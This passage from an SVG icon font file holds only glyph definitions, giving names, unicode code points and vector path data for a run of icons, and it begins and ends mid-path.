q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
    <glyph glyph-name="_623" unicode="&#xf298;" 
d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14
t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
    <glyph glyph-name="_624" unicode="&#xf299;" horiz-adv-x="1792" 
d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57
q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285
q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
    <glyph glyph-name="_625" unicode="&#xf29a;" horiz-adv-x="1792" 
d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42
q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298
t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_626" unicode="&#xf29b;" 
d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300
l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z
M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
    <glyph glyph-name="_627" unicode="&#xf29c;" 
d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5
t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5
t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5
t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_628" unicode="&#xf29d;" horiz-adv-x="1408" 
d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457
q-67 -192 -92 -234q-15 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521
q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661
q3 -1 7 1t7 4l3 2q11 9 11 17z" />
    <glyph glyph-name="_629" unicode="&#xf29e;" horiz-adv-x="2304" 
d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10
t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5
t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5
h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96
t9.5 -70.5z" />
    <glyph glyph-name="uniF2A0" unicode="&#xf2a0;" horiz-adv-x="1408" 
d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5
q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127
l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272
t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249
q-18 -19 -45 -19z" />
    <glyph glyph-name="uniF2A1" unicode="&#xf2a1;" horiz-adv-x="2176" 
d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136
t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56
t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56
t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136
t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="uniF2A2" unicode="&#xf2a2;" horiz-adv-x="1792" 
d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z
M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72
t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45
t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4
q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
    <glyph glyph-name="uniF2A3" unicode="&#xf2a3;" horiz-adv-x="2304" 
d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55
q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5
q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101
q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35
q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5
q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
    <glyph glyph-name="uniF2A4" unicode="&#xf2a4;" horiz-adv-x="1792" 
d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19
t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74
t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233
l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
    <glyph glyph-name="uniF2A5" unicode="&#xf2a5;" 
d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2
q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10
q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2A6" unicode="&#xf2a6;" horiz-adv-x="1535" 
d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5
l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5
q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9
q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
    <glyph glyph-name="uniF2A7" unicode="&#xf2a7;" horiz-adv-x="1664" 
d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37
t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38
l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147q-2 -1 -5 -3.5t-4 -4.5q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148
q-34 23 -76 23q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26
l-12 224q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
    <glyph glyph-name="uniF2A8" unicode="&#xf2a8;" horiz-adv-x="1792" 
d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5
q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841
q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5
q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
    <glyph glyph-name="uniF2A9" unicode="&#xf2a9;" horiz-adv-x="1280" 
d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5
q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z
M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
    <glyph glyph-name="uniF2AA" unicode="&#xf2aa;" 
d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z
M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5
q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 42 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="uniF2AB" unicode="&#xf2ab;" 
d="M1279 388q0 22 -22 27q-67 15 -118 59t-80 108q-7 19 -7 25q0 15 19.5 26t43 17t43 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-12 0 -32 -8t-31 -8q-4 0 -12 2q5 95 5 114q0 79 -17 114q-36 78 -103 121.5t-152 43.5q-199 0 -275 -165q-17 -35 -17 -114q0 -19 5 -114
q-4 -2 -14 -2q-12 0 -32 7.5t-30 7.5q-21 0 -38.5 -12t-17.5 -32q0 -21 19.5 -35.5t43 -20.5t43 -17t19.5 -26q0 -6 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -46 137 -68q2 -5 6 -26t11.5 -30.5t23.5 -9.5q12 0 37.5 4.5t39.5 4.5q35 0 67 -15t54 -32.5t57.5 -32.5
t76.5 -15q43 0 79 15t57.5 32.5t53.5 32.5t67 15q14 0 39.5 -4t38.5 -4q16 0 23 10t11 30t6 25q137 22 137 68zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="uniF2AC" unicode="&#xf2ac;" horiz-adv-x="1664" 
d="M848 1408q134 1 240.5 -68.5t163.5 -192.5q27 -58 27 -179q0 -47 -9 -191q14 -7 28 -7q18 0 51 13.5t51 13.5q29 0 56 -18t27 -46q0 -32 -31.5 -54t-69 -31.5t-69 -29t-31.5 -47.5q0 -15 12 -43q37 -82 102.5 -150t144.5 -101q28 -12 80 -23q28 -6 28 -35
q0 -70 -219 -103q-7 -11 -11 -39t-14 -46.5t-33 -18.5q-20 0 -62 6.5t-64 6.5q-37 0 -62 -5q-32 -5 -63 -22.5t-58 -38t-58 -40.5t-76 -33.5t-99 -13.5q-52 0 -96.5 13.5t-75 33.5t-57.5 40.5t-58 38t-62 22.5q-26 5 -63 5q-24 0 -65.5 -7.5t-58.5 -7.5q-25 0 -35 18.5
t-14 47.5t-11 40q-219 33 -219 103q0 29 28 35q52 11 80 23q78 32 144.5 101t102.5 150q12 28 12 43q0 28 -31.5 47.5t-69.5 29.5t-69.5 31.5t-31.5 52.5q0 27 26 45.5t55 18.5q15 0 48 -13t53 -13q18 0 32 7q-9 142 -9 190q0 122 27 180q64 137 172 198t264 63z" />
    <glyph glyph-name="uniF2AD" unicode="&#xf2ad;" 
d="M1280 388q0 22 -22 27q-67 14 -118 58t-80 109q-7 14 -7 25q0 15 19.5 26t42.5 17t42.5 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-11 0 -31 -8t-32 -8q-4 0 -12 2q5 63 5 115q0 78 -17 114q-36 78 -102.5 121.5t-152.5 43.5q-198 0 -275 -165q-18 -38 -18 -115
q0 -38 6 -114q-10 -2 -15 -2q-11 0 -31.5 8t-30.5 8q-20 0 -37.5 -12.5t-17.5 -32.5q0 -21 19.5 -35.5t42.5 -20.5t42.5 -17t19.5 -26q0 -11 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -47 138 -69q2 -5 6 -26t11 -30.5t23 -9.5q13 0 38.5 5t38.5 5q35 0 67.5 -15
t54.5 -32.5t57.5 -32.5t76.5 -15q43 0 79 15t57.5 32.5t54 32.5t67.5 15q13 0 39 -4.5t39 -4.5q15 0 22.5 9.5t11.5 31t5 24.5q138 22 138 69zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2AE" unicode="&#xf2ae;" horiz-adv-x="2304" 
d="M2304 1536q-69 -46 -125 -92t-89 -81t-59.5 -71.5t-37.5 -57.5t-22 -44.5t-14 -29.5q-10 -18 -35.5 -136.5t-48.5 -164.5q-15 -29 -50 -60.5t-67.5 -50.5t-72.5 -41t-48 -28q-47 -31 -151 -231q-341 14 -630 -158q-92 -53 -303 -179q47 16 86 31t55 22l15 7
q71 27 163 64.5t133.5 53.5t108 34.5t142.5 31.5q186 31 465 -7q1 0 10 -3q11 -6 14 -17t-3 -22l-194 -345q-15 -29 -47 -22q-128 24 -354 24q-146 0 -402 -44.5t-392 -46.5q-82 -1 -149 13t-107 37t-61 40t-33 34l-1 1v2q0 6 6 6q138 0 371 55q192 366 374.5 524t383.5 158
